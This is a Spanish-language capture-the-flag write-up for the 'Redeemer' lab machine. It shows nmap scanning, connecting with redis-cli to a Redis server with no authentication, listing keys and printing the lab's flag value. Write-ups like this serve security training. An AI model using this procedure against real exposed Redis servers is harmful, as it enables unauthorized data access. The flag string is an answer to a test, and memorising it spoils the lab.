

WRITE-UP MAQUINA REDEEMER

Luego de conectarnos a la vpn procedemos a realizar un ping a la ip de la máquina redeemer para verificar que tengamos conexión.

```
(root@kali)-[/home/hmstudent]
# ping 10.129.222.159
PING 10.129.222.159 (10.129.222.159) 56(84) bytes of data.
64 bytes from 10.129.222.159: icmp_seq=1 ttl=63 time=179 ms
64 bytes from 10.129.222.159: icmp_seq=2 ttl=63 time=290 ms
64 bytes from 10.129.222.159: icmp_seq=3 ttl=63 time=210 ms
64 bytes from 10.129.222.159: icmp_seq=4 ttl=63 time=233 ms
64 bytes from 10.129.222.159: icmp_seq=5 ttl=63 time=254 ms
64 bytes from 10.129.222.159: icmp_seq=6 ttl=63 time=277 ms
64 bytes from 10.129.222.159: icmp_seq=7 ttl=63 time=197 ms
64 bytes from 10.129.222.159: icmp_seq=8 ttl=63 time=219 ms
```

Al primer escaneo no encontramos ningún puerto abierto

```
(root@kali)-[/home/hmstudent]
# nmap -sC -sV -oN redeemer_scan.txt 10.129.222.159
Starting Nmap 7.93 ( https://nmap.org ) at 2025-06-04 00:10 EDT
Nmap scan report for 10.129.222.159
Host is up (0.17s latency).
All 1000 scanned ports on 10.129.222.159 are in ignored states.
Not shown: 1000 closed tcp ports (reset)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.47 seconds
```

Procedemos a realizar un escaneo más amplio y completo, donde encontramos el puerto abierto 6379/tcp corriendo un servicio de **redis**

Procedemos a usar **redis-cli** para interactuar con el servidor y así obtener acceso.

Logramos obtener acceso al servidor y procedemos a ver la información del server

```
(root@kali)-[/home/hmstudent]
# redis-cli -h 10.129.222.159
10.129.222.159:6379> info
# Server
redis_version:5.0.7
redis_git_sha1:00000000
redis_git_dirty:0
redis_build_id:66bd629f924ac924
redis_mode:standalone
os:Linux 5.4.0-77-generic x86_64
arch_bits:64
multiplexing_api:epoll
atomicvar_api:atomic-builtin
gcc_version:9.3.0
process_id:749
run_id:b29e4467950ef678958db008ef50cc4b7287d86f
tcp_port:6379
uptime_in_seconds:1111
uptime_in_days:0
hz:10
configured_hz:10
lru_clock:4180728
executable:/usr/bin/redis-server
config_file:/etc/redis/redis.conf

# Clients
connected_clients:1
client_recent_max_input_buffer:2
client_recent_max_output_buffer:0
blocked_clients:0

# Memory
used_memory:859624
used_memory_human:839.48K
used_memory_rss:5910528
used_memory_rss_human:5.64M
used_memory_peak:859624
used_memory_peak_human:839.48K
used_memory_peak_perc:100.12%
used_memory_overhead:846142
used_memory_startup:796224
used_memory_dataset:13482
used_memory_dataset_perc:21.26%
```

Seleccionamos la base de datos con index 0

```
10.129.222.159:6379> select 0
```

OK

Luego escribimos **keys *** para listar todas las claves

```
10.129.222.159:6379> keys *
1) "flag"
2) "temp"
3) "numb"
4) "stor"
10.129.222.159:6379> get flag
"03e1d2b376c37ab3f5319922053953eb"
10.129.222.159:6379>
```

En unas de las claves encontramos la bandera **flag** procedemos a revisar su contenido con `get flag` y nos muestra el contenido de la bandera

03e1d2b376c37ab3f5319922053953eb



Redeemer has been Pwned!

Congratulations  **wilmar777**, best of luck in capturing flags ahead!

04 Jun 2025

PWN DATE

OK

SHARE